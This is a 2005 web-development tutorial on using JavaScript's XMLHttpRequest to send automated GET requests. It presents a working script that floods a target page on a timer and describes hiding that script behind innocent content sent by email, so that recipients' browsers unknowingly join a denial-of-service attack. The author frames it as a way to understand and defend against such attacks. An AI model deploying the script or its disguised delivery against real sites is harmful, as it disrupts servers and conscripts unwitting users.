Dev Articles

08/20/07 09:46:58

JavaScript
Programmatic GET Requests with JavaScript: Simple Way to Hack Your Site Contributed by Alejandro Gervasio 2005−07−13
Access Your PC from Anywhere® − Download Your Free Trial Take your office with you, wherever you go with GoToMyPC. It’s the remote−access solution that allows you to securely access and work on your PC from any computer with an Internet connection.

Trying to secure a website is a continual and frustrating process. Attacks, like Denial of Service, can come from many directions, especially when your web applications cannot reject external requests. Alegandro Gervasio shows us some valuable JavaScript in this article meant to help you secure your sites.Introduction Recently, I had the opportunity to work on a medium−sized Web project, which involved the development of different modules that demanded a carefully planned mutual interaction. Some of these modules required access to protected sections of the website, through a centralized access control mechanism, so critical security issues had to be tested as thoroughly as possible. In order to check some of the possible vulnerabilities and evaluate potential weak points within the program, a server−side application was used. It emulated automatic GET and POST requests for determining whether the website application was capable of rejecting external attacks, at least the ones aimed primarily at generating Denial of Service situations (DoS). After performing the verification process and implementing accordingly some possible solutions within the program, such as noisy image generation and on−the−fly session encrypted data, a clear idea came up to mind about the topic. Certainly, we all have seen many unprotected websites being easily crashed by malicious programs installed on remote computers that launch massive requests to the targeted server, causing either severe slow downs or complete system hangs. However, most of these programs are client applications running on non Web−based platforms. But now, the scenario is definitely a little different. As you probably know, many popular server−side languages make it quite easy to work with sockets, and this mere fact turns developing http−based hacking tools into a simple experience. Focusing on client−side programming, the growing use of JavaScript as a fairly new tool to make http requests in the background without reloading a page, through the popular XMLHttpRequest object, has brought a new generation of Web−based hacking techniques that expand the vast plethora of existing tools, making it even easier for inexperienced attackers to execute malicious code on targeted websites. As I said before, the idea that emerged from my previous experience was to write a simple JavaScript program. It would be aimed mainly at illustrating, in real conditions, how easily an unprotected website can be attacked by users with bad intentions through the generation of programmatic GET/POST requests. As a result, hopefully this tutorial will be helpful for those trying to build safer Web applications, and implement from the very beginning well−defined security strategies. However, before I go deeper into the required explanations, a few things need to be clarified. First, this article is not intended to encourage the use of programs for hacking purposes, since it merely demonstrates that some websites may expose some vulnerabilities that need to be properly addressed. And second, the responsibility in the use of the source code is left completely in the hands of the reader. Having said that, let’s move on to making HTTP requests in the background. A good place to start explaining how http requests are really used to attack a website is having a quick look at the XMLHttpRequest object. Since it’s not the primary concern of the article, I’ll give only brief reference about its methods 1/7

Dev Articles

08/20/07 09:46:58

and properties. There is plenty of information on the Web, just in case you’re interested on learning more on it. Otherwise, if you’re already familiar working with this object, feel free to skip this section and jump straight to the next one. Essentially, the XMLHttpRequest object allows you to make requests to an http server, and get a response from it, without page reloads. All the requests can be handled in the background, in a transparent way. This means that the client−server interaction might be carried out silently, without notifying the user about what’s happening behind the scenes. As any standard object, the XMLHttpRequest object exposes several useful methods, which may be resumed in the below list: • open("method","URL",async,"uname","pswd"): opens a http socket connection to the specified URL, using the given request method (GET/POST/PUT). Usually, the third parameter “async” is set to true, in order to make asynchronous requests. Basically, when an asynchronous request is made, the script won’t wait for the response from the server, and continue its execution after the “send()” method is invoked. Otherwise, the script will continue executing only after a server response is received. The other parameters are optional, in situations where "username” and “password” parameters are required for accessing documents. • send(string): sends the specified request. Commonly, in POST requests, the name/value pairs are passed as arguments to this method. • setRequestHeader("header name","header value"): allows a person to specify the name/value pair of the header to be send to the server, for instance: "Content−Type:text/html; charset=iso−8859−1". • getResponseHeader("headername"): returns the value of the given http header. • getAllResponseHeaders(): returns a string containing the complete set of http headers. • abort(): halts the request. Aside from the methods described above, the object presents the following properties: • readyState: returns the state of the object, according to the request’s progress. Its possible values are: 0 = uninitialized, 1 = loading, 2 = loaded, 3 = interactive, 4 = complete. • responseText: returns the server response as a string. This property is useful to get the content of a web page, when used in conjunction with the GET method. • status: returns the request status as a numeric value. For instance, "200" for "OK". • statusText: as the name suggests, returns the request status as a string. For instance: "Not Found" for a 404 HTTP error. • responseXML: returns the server response as XML. • onreadystatechange: the proper event handler, which is triggered at every state change. On asynchronous requests, it’s useful for controlling the logic of the program, in accordance to the request status. Now that you’ve learned the basics of the XMLHttpRequest object, these boring details are out of your way. You can turn your attention to the next few lines, where I’ll explain trough a simple example, how a potential attacker can use the object’s capabilities to inflict damage to unwarned websites using Denial of Service attacks (DoS). To many websites around, their primary goal is to attract as many visitors as possible. As you know, popular sites get high levels of traffic on a daily basis, but definitively, this popularity comes at a price. They’re the target of many attackers. This is not shocking news at all for big sites that (hopefully) have a decent security strategy and conscious system administrators. However, let’s describe a more frequent scenario, shared by thousands of websites: a database backend that supports a bunch of dynamic pages, with a rather limited number of visits. Certainly, a website is trying hard to get more visitors by offering better content along with a consistent visual presentation, and suddenly ... their strategy works! Apparently, the site is attracting many users, so the Web server starts attending thousand of requests, multiple database connections are simultaneously established, and massive queries are executed. The final result is, in most cases, the complete hang of the 2/7

Dev Articles whole system.

08/20/07 09:46:58

Sad but true, this is a typical attack popularly known as Denial of Service. Massive http requests are recreated programmatically and performed against the selected server. Certainly, a good traffic analysis program might help to reduce the possibilities of an attack, thus the solution looks fairly easy. To be fair, we might say that the same easiness involved in solving partially this critical condition, is applied to write web−based programs that make automated http requests. If we step back for a moment to the part where I explained the basics of the XMLHttpRequest object, it should be clear that there are concrete cases of people using its functionality with malicious purposes, such as denial of service attacks, or programmatic web form emulation. Now that you’ve got a clear idea about the possible ways that some attacks are carried out in real situations, I’ll show an example written in JavaScript. It makes automated GET requests to a given URL, which might be potentially used either as a test script to verify performance and security issues within a web program, or for badly−intended purposes. Again, I strongly recommend using the code only for testing. Essentially, the logic of the program is divided in two main functions. The first function that I’ll show in a moment, makes asynchronous GET requests to an specific URL, while the second display the object’s status after the request has been successfully completed. Also, a third function is used to create instances of the XMLHttpRequest object. Here is the first function, called “getXMLHTTPObject()”, which is defined as follows: // function getXMLHTTPObject function getXMLHTTPObject(){ //instantiate new XMLHTTP object var objhttp=(window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP'); if(!objhttp){return}; // assign event handler objhttp.onreadystatechange=displayStatus; return objhttp; } As you can see, this function simple returns a new XMLHttpRequest object each time it’s called, and assigns to the “onreadtstatechange” event handler, the other relevant function “displayStatus()”. Notice that in case of working with “Firefox”, or “Nestcape”, the object is instantiated as a new XMLHttpRequest(), while for Internet Explorer, the object is created via an ActiveX Control. As I mentioned previously, here is the core function “sendRequest()”, for making requests to the server: function sendRequest(url,data,method,header){ // get XMLHTTP object objhttp=getXMLHTTPObject(); // set default values if(!url){url='default_url.htm'}; if(!data){data='defaultdata=defaultvalue'}; if(!method){method='get'}; if(!header){header='Content−Type:text/html; charset=iso−8859−1'}; // open socket connection in asynchronous mode 3/7

Dev Articles

08/20/07 09:46:58

objhttp.open(method,url,true); // send header objhttp.setRequestHeader(header.split(':')[0],header.split(':')[1]); // send data objhttp.send(data); // return xmlhttp object return objhttp; } In simple terms, the above function sends a GET request to the URL passed as an argument, along with the additional data that might be included into the request, as well as the http header. If no values are specified, default values are assigned for each parameter. Once a XMLHttpRequest object is instantiated, the function opens a connection to the given URL in asynchronous mode, which means that the script won’t wait for the server response and build the http header in the form name/value pair, to be passed to the “setRequestHeader()” method. Finally, the “send()” method is called, in this way completing the http request. Now, it’s time define the other core function “displayStatus()”, that looks like this: // function displayStatus function displayStatus(){ if(objhttp.readyState==4){ // create paragraph elements var parStat=document.createElement('p'); var parText=document.createElement('p'); var parResp=document.createElement('p'); // assign ID attributes parStat.id='status'; parText.id='text'; parResp.id='response'; // append text nodes parStat.appendChild(document.createTextNode('Status : '+objhttp.status)); parText.appendChild(document.createTextNode('Status text : '+objhttp.statusText)); parResp.appendChild(document.createTextNode('Document code : '+objhttp.responseText)); // insert <p> elements into document tree document.body.appendChild(parStat); document.body.appendChild(parText); document.body.appendChild(parResp); } } What this functions does basically is to verify the status of the object. If the request has been successfully completed (readyState==4), then three <p> elements are dynamically created and appended to the document tree. Notice that each paragraph will display the values corresponding to each XMLHttpRequest object’s property, useful for tracking the overall request process. With all the three functions already defined, I can move on for writing a functional example, so keep on reading. 4/7

Dev Articles

08/20/07 09:46:58

In first place, I’ll define a basic XHTML document, “example_file.htm” that will be used as the target for the script. It’s as simple as this: <!DOCTYPE html PUBLIC "−//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1−transitional.dtd"> <html> <head> <title>Example document</title> </head> <body> <h1>Welcome to our super cool site!</h1> </body> </html> Now, the next thing to do is including the previous functions in a new document, as listed below: // function getXMLHTTPObject function getXMLHTTPObject(){ //instantiate new XMLHTTP object var objhttp=(window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject('Microsoft.XMLHTTP'); if(!objhttp){return}; // assign event handler objhttp.onreadystatechange=displayStatus; return objhttp; } // function sendRequest function sendRequest(url,data,method,header){ // get XMLHTTP object objhttp=getXMLHTTPObject(); // set default values if(!url){url='default_url.htm'}; if(!data){data='defaultdata=defaultvalue'}; if(!method){method='get'}; if(!header){header='Content−Type:text/html; charset=iso−8859−1'}; // open socket connection in asyncronous mode objhttp.open(method,url,true); // send header objhttp.setRequestHeader(header.split(':')[0],header.split(':')[1]); // send data objhttp.send(data); // return xmlhttp object return objhttp; } // function displayStatus function displayStatus(){ if(objhttp.readyState==4){ // create paragraph elements var parStat=document.createElement('p'); var parText=document.createElement('p'); var parResp=document.createElement('p'); 5/7

Dev Articles

08/20/07 09:46:58

// assign ID attributes parStat.id='status'; parText.id='text'; parResp.id='response'; // append text nodes parStat.appendChild(document.createTextNode('Status : '+objhttp.status)); parText.appendChild(document.createTextNode('Status text : '+objhttp.statusText)); parResp.appendChild(document.createTextNode('Document code : '+objhttp.responseText)); // insert <p> elements into document tree document.body.appendChild(parStat); document.body.appendChild(parText); document.body.appendChild(parResp); } } Lastly, the whole code is executed when the page is loaded: // execute code when page is loaded window.onload=function(){ if(document.createElement&&document.createTextNode){ sendRequest('example_file.htm'); } } That was simple, huh? Once the page is loaded, the script makes a GET request to the server, using “example_file.htm” as the target file. If the process is successfully completed, the status code is displayed on the browser, along with the source code for the sample file. At this point, maybe you’re wondering how the script can be considered as harmful code? Well, let’s replace the line that sends a single request, with this line: // execute function when page is loaded window.onload=function(){ if(document.createElement&&document.createTextNode){ // send get request every 2 seconds setInterval("sendRequest('example_file.htm');",2*1000); } } Now things look a little bit different. I’ve used the JavaScript “setInterval()” function to wrap up the “sendRequest()” method, specifying a time interval in the execution of two seconds. With this simple snippet, I’m requesting “example_file.htm” every two seconds. Definitively, things get even worse if the requested file is performing some kind of database operation or another resource−consuming task. I could go one step further, by reducing the interval between requests to milliseconds, without compromising significantly computational resources on the client machine, since the requests are made is asynchronous mode. But there is still another addition. Usually, this kind of attacks are performed from multiple machines that send massive requests to the targeted server, thus a malicious attacker might send by email to several innocent recipients, the link that 6/7

Dev Articles

08/20/07 09:46:58

points to the above script, hiding its real purpose with innocent content, such as appealing landscape pictures, remarkable quotes or whatever you can imagine. As long as the recipient is delighting his/her eyes with pleasant content, the script will be sending in the background massive requests to the selected server. Certainly not a fun situation for the victim. Asides from sending programmatic requests, this method allows tampering URLs with external data, without the need to work directly with a browser’s address bar, which introduces yet another conflictive security issue. As you probably know, very often the same technique can be used for opposite purposes. In this case, I’ve demonstrated that denial of service attacks are feasible of being carried out with a few lines of JavaScript code. Wrapping up That’s all for now. Over this first part of the series, I’ve explained in detail how unprotected websites can be targeted as possible victims of attackers, using only web−based techniques. The only real requirements are a basic knowledge about the XMLHttpRequest object and JavaScript. Considering this situation, levels of traffic should be always monitored, as well as incoming user input from GET/POST requests and cookies. If you get unusual traffic on your site or receive unexpected data, make sure you’re armed with the proper tools to reject potential attacks. In the next part of the series, I’ll take a look at another attack technique, using the same XMLHttpRequest object: automated post form submissions. Thus, get ready to learn more about http−based attacks, in order to avoid its undesirable effects. See you next week!

DISCLAIMER: The content provided in this article is not warranted or guaranteed by Developer Shed, Inc. The content provided is intended for entertainment and/or educational purposes in order to introduce to the reader key ideas, concepts, and/or product reviews. As such it is incumbent upon the reader to employ real−world tactics for security and implementation of best practices. We are not liable for any negative consequences that may result from implementing any information covered in our articles or tutorials. If this is a hardware review, it is not recommended to open and/or modify your hardware.

7/7